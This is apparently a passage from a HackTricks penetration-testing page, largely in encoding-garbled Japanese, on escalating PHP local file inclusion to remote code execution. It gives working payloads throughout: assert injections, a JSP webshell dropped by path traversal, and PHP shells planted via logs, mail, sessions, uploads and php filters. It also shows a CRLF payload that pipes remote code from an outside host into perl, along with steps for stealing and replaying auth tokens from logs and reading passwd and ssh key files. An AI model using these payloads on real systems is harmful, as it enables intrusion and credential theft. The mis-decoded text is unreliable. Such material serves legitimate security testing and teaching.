In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), or filesize(), exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar protocol.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Very quick summary: a 3 byte overflow in the PHP heap was abused to alter the chain of free chunks of anspecific size in order to be able to write anything in any address, so a hook was added to call system.
It was possible to alloc chunks of specific sizes abusing more php filters.
More protocols
Check more possible protocols to include here:
- php://memory and php://temp â Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
- file:// â Accessing local filesystem
- http:// â Accessing HTTP(s) URLs
- ftp:// â Accessing FTP(s) URLs
- zlib:// â Compression Streams
- glob:// â Find pathnames matching pattern (It doesnât return nothing printable, so not really useful here)
- ssh2:// â Secure Shell 2
- ogg:// â Audio streams (Not useful to read arbitrary files)
LFI via PHPâs âassertâ
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the âassertâ function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like â..â is being checked but not properly sanitized.
For example, PHP code might be designed to prevent directory traversal like so:
assert("strpos('$file', '..') === false") or die("");
ãã㯠traversal ã鲿¢ããããšãç®çãšããŠããããæå³ãã code injection ã®ãã¯ã¿ãŒãäœæããŠããŸãããã¡ã€ã«ã®å 容ãèªã¿åãããã«ãããæªçšããã«ã¯ãæ»æè ã¯æ¬¡ã®ãããªãã®ã䜿çšããå¯èœæ§ããã:
' and die(highlight_file('/etc/passwd')) or '
åæ§ã«ãä»»æã®ã·ã¹ãã ã³ãã³ããå®è¡ããã«ã¯ã次ã®ããã«äœ¿ãããšãã§ããŸãïŒ
' and die(system("id")) or '
Itâs important to URL-encode these payloads.
PHP Blind Path Traversal
Warning
ãã®ææ³ã¯ããã¡ã€ã«ã«ã¢ã¯ã»ã¹ããPHP颿°ã®ãã¡ã€ã«ãã¹ãããªããå¶åŸ¡ã§ãããããã¡ã€ã«ã®å 容ãçŽæ¥èŠãããšãã§ããªãå ŽåïŒäŸãã°åçŽãª
file()ã®åŒã³åºãã®ããã«ïŒã«é¢é£ããŸãã
In this incredible post itâs explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
èŠçŽãããšããã®ææ³ã¯**âUCS-4LEâ encodingãå©çšããŠãã¡ã€ã«ã®å 容ãéåžžã«bigã«ãããã¡ã€ã«ãéãPHP functionãerror**ãåŒãèµ·ããããã«ããŸãã
次ã«ãæåã®æåãleakããããã«ãã£ã«ã¿dechunkã䜿çšãããbase64ãrot13ãªã©ãšçµã¿åãããæçµçã«convert.iconv.UCS-4.UCS-4LEãšconvert.iconv.UTF16.UTF-16BEãã£ã«ã¿ã䜿çšããŠä»ã®æåãå
é ã«é
眮ããããããleakããŸãã
Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
For the technical details check the mentioned post!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, .. segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Typical exploitation workflow:
- path/filename ãåãåãã³ã³ãã³ãããã£ã¹ã¯ã«æžã蟌ã write primitive ãæã€ endpoint ã background worker ãç¹å®ããïŒäŸ: message-driven ingestionãXML/JSON command handlersãZIP extractors çïŒã
- Determine web-exposed directories. Common examples:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/â dropshell.jsp - IIS:
C:\inetpub\wwwroot\â dropshell.aspx - æå³ããã¹ãã¬ãŒãžãã£ã¬ã¯ããªãã webroot ã«è±åºãããã㪠traversal path ãäœæããwebshell ã®äžèº«ãå«ããã
- é 眮ãã payload ã«ãã©ãŠã¶ã§ã¢ã¯ã»ã¹ããŠã³ãã³ããå®è¡ããã
Notes:
- æžã蟌ã¿ãè¡ãè匱ãªãµãŒãã¹ã¯ãéHTTPããŒãã§åŸ ã¡åããŠããå ŽåãããïŒäŸ: TCP 4004 ã® JMF XML listenerïŒãã¡ã€ã³ã® web portalïŒå¥ããŒãïŒãåŸã§ããªãã® payload ãé ä¿¡ããã
- Java ã¹ã¿ãã¯ã§ã¯ããããã®ãã¡ã€ã«æžã蟌ã¿ã¯åçŽãª
File/Pathsã®é£çµã§å®è£ ãããŠããããšãå€ããcanonicalisation/allow-listing ã®æ¬ åŠãæ ¹æ¬çãªæ¬ é¥ã§ããã
Generic XML/JMF-style example (product schemas vary â the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
ãã®ã¯ã©ã¹ã®ãã°ãé²ãããŒããã³ã°:
- ãã¹ãæ£èŠåããallow-listed ãªããŒã¹ãã£ã¬ã¯ããªã®é äžã§ããããšã匷å¶ããã
..ã絶察ã«ãŒãããŸãã¯ãã©ã€ãæåãå«ããã¹ã¯æåŠãããçæããããã¡ã€ã«åãåªå ããã- æžã蟌ã¿åŠçã¯äœæš©éã¢ã«ãŠã³ãã§å®è¡ããæžã蟌ã¿çšãã£ã¬ã¯ããªãå ¬éã«ãŒãããåé¢ããã
Remote File Inclusion
åè¿°ã®èª¬æã¯follow this linkãåç §ã
Apache/Nginx ã®ãã°ãã¡ã€ã«çµç±
ãã Apache ãŸã㯠Nginx ãµãŒãã vulnerable to LFI ã§ãinclude 颿°å
ã«è匱æ§ãããå Žåã/var/log/apache2/access.log or /var/log/nginx/access.log ã«ã¢ã¯ã»ã¹ã詊ã¿ãuser agent ãŸã㯠GET parameter ã« <?php system($_GET['c']); ?> ã®ãã㪠php ã·ã§ã«ãèšå®ããŠãã®ãã¡ã€ã«ã include ã§ããŸãã
Warning
ã·ã§ã«ã« ããã«ã¯ã©ãŒã ã䜿ããš ã·ã³ã°ã«ã¯ã©ãŒã ã®ä»£ããã«ãããã«ã¯ã©ãŒãã¯æåå âquote;â ã«å€æãããPHP ã¯ãšã©ãŒãæããŸã ãã㊠ãã以å€ã¯å®è¡ãããŸããã
ãŸããpayload ãæ£ããæžã蟌ã ããšã確å®ã«ããŠãã ããããããªããã°ãã°ãèªã¿èŸŒããã³ã« PHP ããšã©ãŒãèµ·ãããå床ã®ãã£ã³ã¹ã¯ãããŸããã
ä»ã®ãã°ã§ãåæ§ã«è¡ããŸãããæ³šæã ãã°å
ã®ã³ãŒãã URL encoded ãããŠããå¯èœæ§ããããããã Shell ãå£ãããšããããŸããããã authorisation âbasicâ 㯠Base64 ã§ âuser:passwordâ ãå«ã¿ããã°å
ã§ãã³ãŒããããŸããPHPShell ã¯ãã®ãããå
ã«æ¿å
¥ã§ããŸã.
ãã®ä»ã®å¯èœãªãã°ãã¹:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
ã¢ã¯ã»ã¹ãã°ãèªã¿åã£ãŠ GET-based auth tokens ãåéãã (token replay)
å€ãã®ã¢ããªã¯èª€ã£ãŠ GET çµç±ã§ session/auth tokens ãåãä»ããŸãïŒäŸ: AuthenticationToken, token, sidïŒãpath traversal/LFI ã®ããªããã£ãã§ web server logs ã«ã¢ã¯ã»ã¹ã§ããå Žåãaccess logs ãããããã®ããŒã¯ã³ãçã¿åºã㊠replay ããèªèšŒãå®å šã« bypass ã§ããŸãã
How-to:
- traversal/LFI ã䜿ã£ãŠ web server access log ãèªã¿ãŸããäžè¬çãªå Žæ:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- äžéšã®ãšã³ããã€ã³ãã¯ãã¡ã€ã«èªã¿åãã Base64-encoded ã§è¿ãããšããããŸãããã®å Žåã¯ããŒã«ã«ã§ãã³ãŒãããŠãã°è¡ã確èªããŠãã ããã
- Grep ã§ token ãã©ã¡ãŒã¿ãå«ã GET ãªã¯ãšã¹ããæ¢ããŠãã®å€ãååŸããapplication entry point ã«å¯Ÿã㊠replay ããŸãã
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
ããã£ãBase64ã§ããã°ãã³ãŒããããã£ããã£ããtokenãreplayãã:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Notes:
- URLå ã®ããŒã¯ã³ã¯ããã©ã«ãã§ãã°ã«èšé²ãããŸãã æ¬çªç°å¢ã§ã¯GETçµç±ã§bearer tokensãåãå ¥ããªãã§ãã ããã
- ã¢ããªãè€æ°ã®ããŒã¯ã³åããµããŒãããŠããå Žåã¯ã
AuthenticationToken, token, sid, access_tokenã®ãããªäžè¬çãªããŒãæ¢ããŠãã ããã - logsã«leakedããå¯èœæ§ã®ããããŒã¯ã³ã¯ãã¹ãŠããŒããŒã·ã§ã³ããŠãã ããã
ã¡ãŒã«çµç±
ã¡ãŒã«ãéã â å
éšã¢ã«ãŠã³ã (user@localhost) ã« <?php echo system($_REQUEST["cmd"]); ?> ã®ãããªPHP payloadãå«ãã¡ãŒã«ãéãããŠãŒã¶ãŒã®ã¡ãŒã«ã /var/mail/<USERNAME> ã /var/spool/mail/<USERNAME> ã®ãããªãã¹ã§ include ããŠã¿ãŠãã ããã
/proc/*/fd/* çµç±
- 倧éã®shellsãã¢ããããŒãããïŒäŸãã°: 100ïŒ
- http://example.com/index.php?page=/proc/$PID/fd/$FD ã include ããŸããããã§ $PID = ããã»ã¹ã®PIDïŒcan be brute forcedïŒã§ã$FD ã¯ãã¡ã€ã«ãã£ã¹ã¯ãªãã¿ïŒãããcan be brute forcedïŒã§ãã
/proc/self/environ çµç±
ãã°ãã¡ã€ã«ãšåæ§ã«ãUser-Agentã«payloadãå ¥ããŠéããšã/proc/self/environ ãã¡ã€ã«å ã«åæ ãããŸãã
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
ã¢ããããŒãçµç±
ãã¡ã€ã«ãã¢ããããŒãã§ããå Žåã¯ããã®äžã«ã·ã§ã«ãã€ããŒããæ³šå
¥ããã ãã§ãïŒäŸïŒ<?php system($_GET['c']); ?>ïŒã
http://example.com/index.php?page=path/to/uploaded/file.png
ãã¡ã€ã«ãèªã¿ãããä¿ã€ããã«ã¯ãpictures/doc/pdf ã®ã¡ã¿ããŒã¿ã«æ³šå ¥ããã®ãæè¯ã§ãã
ZIPãã¡ã€ã«ã¢ããããŒãçµç±
å§çž®ããã PHP shell ãå«ã ZIP ãã¡ã€ã«ãã¢ããããŒãããã¢ã¯ã»ã¹:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
PHP sessions ã䜿ã£ãŠ
ãŠã§ããµã€ãã PHP Session (PHPSESSID) ã䜿çšããŠããã確èªãã
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
PHPã§ã¯ããããã®ã»ãã·ã§ã³ã¯ /var/lib/php5/sess\[PHPSESSID]_ ãã¡ã€ã«ã«ä¿åãããŸã
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
cookie ã <?php system('cat /etc/passwd');?> ã«èšå®ããŠãã ãã
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
LFIã䜿ã£ãŠPHPã®ã»ãã·ã§ã³ãã¡ã€ã«ãå«ãã
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
çµç± ssh
ssh ãæå¹ãªå Žåãã©ã®ãŠãŒã¶ã䜿çšãããŠãããã (/proc/self/status & /etc/passwd) ã§ç¢ºèªãã<HOME>/.ssh/id_rsa ã«ã¢ã¯ã»ã¹ããŠã¿ãã
çµç± vsftpd ãã°
FTP ãµãŒã vsftpd ã®ãã°ã¯ /var/log/vsftpd.log ã«ãããŸããLocal File Inclusion (LFI) è匱æ§ãååšããå ¬éããã vsftpd ãµãŒãã«ã¢ã¯ã»ã¹ã§ããå Žåãæ¬¡ã®æé ãèããããŸã:
- ãã°ã€ã³æã® username ãã£ãŒã«ãã« PHP payload ãæ³šå ¥ããã
- æ³šå ¥åŸãLFI ãçšã㊠/var/log/vsftpd.log ãããµãŒããã°ãååŸããã
çµç± php base64 filter (base64 ã䜿çš)
ãã®èšäºã§ç€ºãããŠããããã«ãPHP base64 filter 㯠Non-base64 ãç¡èŠããŸãããããå©çšããŠãã¡ã€ã«æ¡åŒµåãã§ãã¯ããã€ãã¹ã§ããŸããäŸãã°ãâ.phpâ ã§çµãã base64 ãäžãããšãfilter 㯠â.â ãç¡èŠã㊠base64 ã« âphpâ ãä»å ããŸãã以äžã¯äŸã® payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
php filters çµç±ïŒãã¡ã€ã«äžèŠïŒ
This writeup ã¯ãphp filters ã䜿ã£ãŠä»»æã®ã³ã³ãã³ããåºåãšããŠçæã§ããããšã説æããŠããŸããã€ãŸããinclude ã®ããã« ä»»æã® php code ãçæããŠããã¡ã€ã«ã«æžã蟌ãå¿ èŠãªãå©çšã§ããããšããããšã§ãã
segmentation fault ãå©çš
ãã¡ã€ã«ãã¢ããããŒãã㊠/tmp ã« temporary ãšããŠä¿åãããåããªã¯ãšã¹ãå
ã§ segmentation fault ãçºçããããšãtemporary file wonât be deleted ããããã®ãã¡ã€ã«ãæ¢çŽ¢ã§ããå ŽåããããŸãã
LFI2RCE via Segmentation Fault
Nginx ã®äžæãã¡ã€ã«ã¹ãã¬ãŒãžçµç±
ãã Local File Inclusion ãèŠã€ããNginx ã PHP ã®å段ã§åäœããŠããå Žåã以äžã®ææ³ã§ RCE ãåŸãããå¯èœæ§ããããŸã:
PHP_SESSION_UPLOAD_PROGRESS ãå©çš
ãã Local File Inclusion ãèŠã€ããã»ãã·ã§ã³ãæã£ãŠããªããŠã session.auto_start ã Off ã®å Žåã§ããmultipart POST ããŒã¿ã§ PHP_SESSION_UPLOAD_PROGRESS ãæž¡ããšãPHP ã èªåçã«ã»ãã·ã§ã³ãæå¹ã«ããŸãããããæªçšã㊠RCE ãåŸãããå¯èœæ§ããããŸã:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Windows ã®äžæãã¡ã€ã«ã¢ããããŒãçµç±
ãã Local File Inclusion ãèŠã€ãããµãŒããŒã Windows äžã§åäœããŠããå ŽåãRCE ãåŸãããå¯èœæ§ããããŸã:
pearcmd.php + URL args ãå©çš
As explained in this post, ã¹ã¯ãªãã /usr/local/lib/phppearcmd.php 㯠php docker images ã«ããã©ã«ãã§ååšããŸããããã«ãURL ãã©ã¡ãŒã¿ã« = ãç¡ãå Žåã¯åŒæ°ãšããŠæ±ããšèšèŒãããŠãããããURL çµç±ã§ã¹ã¯ãªããã«åŒæ°ãæž¡ãããšãå¯èœã§ããSee also watchTowrâs write-up and Orange Tsaiâs âConfusion Attacksâ.
The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
以äžã¯ CRLF vuln ãæªçšã㊠RCE ãååŸããäŸã§ã (åºå ž: here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Via phpinfo() (file_uploads = on)
ããLocal File InclusionãçºèŠãã**phpinfo()**ãå ¬éããŠãã file_uploads = on ã®ãã¡ã€ã«ãããã°ãRCEãåŸãããšãã§ããŸã:
Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
ããLocal File InclusionãçºèŠãããã³ãã©ãªãã¡ã€ã«ã®ãã¹ãcan exfiltrate the pathã§ããããserverãcheckingããŠããŠfile to be included has PHP marksãã©ããã確èªããŠããå Žåããã®Race Conditionã§ãã®bypass that checkã詊ãããšãã§ããŸã:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Via eternal waiting + bruteforce
LFIãæªçšããŠupload temporary filesãããµãŒããŒã«PHPå®è¡ãhangããããããªããäœæéããããŠbrute force filenames during hoursããããšã§ãã³ãã©ãªãã¡ã€ã«ãèŠã€ããããå¯èœæ§ããããŸã:
To Fatal Error
/usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar ã®ããããã®ãã¡ã€ã«ã include ãããšïŒãã®ãšã©ãŒãçºçãããã«ã¯åããã¡ã€ã«ã2å include ããå¿
èŠããããŸãïŒã
ã©ã圹ç«ã€ãã¯åãããŸããããå¯èœæ§ã¯ãããŸãã
ããšã PHP Fatal Error ãåŒãèµ·ãããŠããã¢ããããŒãããã PHP ã®äžæãã¡ã€ã«ã¯åé€ãããŸãã
.png)
Preserve traversal sequences from the client
äžéšã® HTTP ã¯ã©ã€ã¢ã³ãã¯ãªã¯ãšã¹ãããµãŒããŒã«å°éããåã« ../ ãæ£èŠåãŸãã¯æãç³ãã§ããŸããdirectory traversal payloads ãå£ãããšããããŸãããŠãŒã¶ãŒãæå®ãããã¡ã€ã«åãé£çµãããã°/ããŠã³ããŒããšã³ããã€ã³ããæªçšããå Žå㯠curl --path-as-is ã䜿ã£ãŠ traversal ããã®ãŸãŸä¿æãã/proc ã®ãããªæ¬äŒŒãã¡ã€ã«ã«ã¯ --ignore-content-length ã远å ããŠãã ãã:
curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'
æå³ãããã£ã¬ã¯ããªããæããããããã« ../ ã»ã°ã¡ã³ãã®æ°ã調æŽãã/etc/passwdã/proc/self/cwd/app.pyããŸãã¯ãã®ä»ã®ãœãŒã¹/èšå®ãã¡ã€ã«ããã³ãããŸãã
åèè³æ
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai â From Support Ticket to Zero Day (FreeFlow Core path traversal â arbitrary write â webshell)
- Xerox Security Bulletin 025-013 â FreeFlow Core 8.0.5
- watchTowr â We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai â Confusion Attacks on Apache
- VTENEXT 25.02 â a three-way path to RCE
- The Art of PHP: CTFâborn exploits and techniques
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- Positive Technologies â Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
- HTB: Imagery (admin log download traversal +
/proc/self/environread)
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


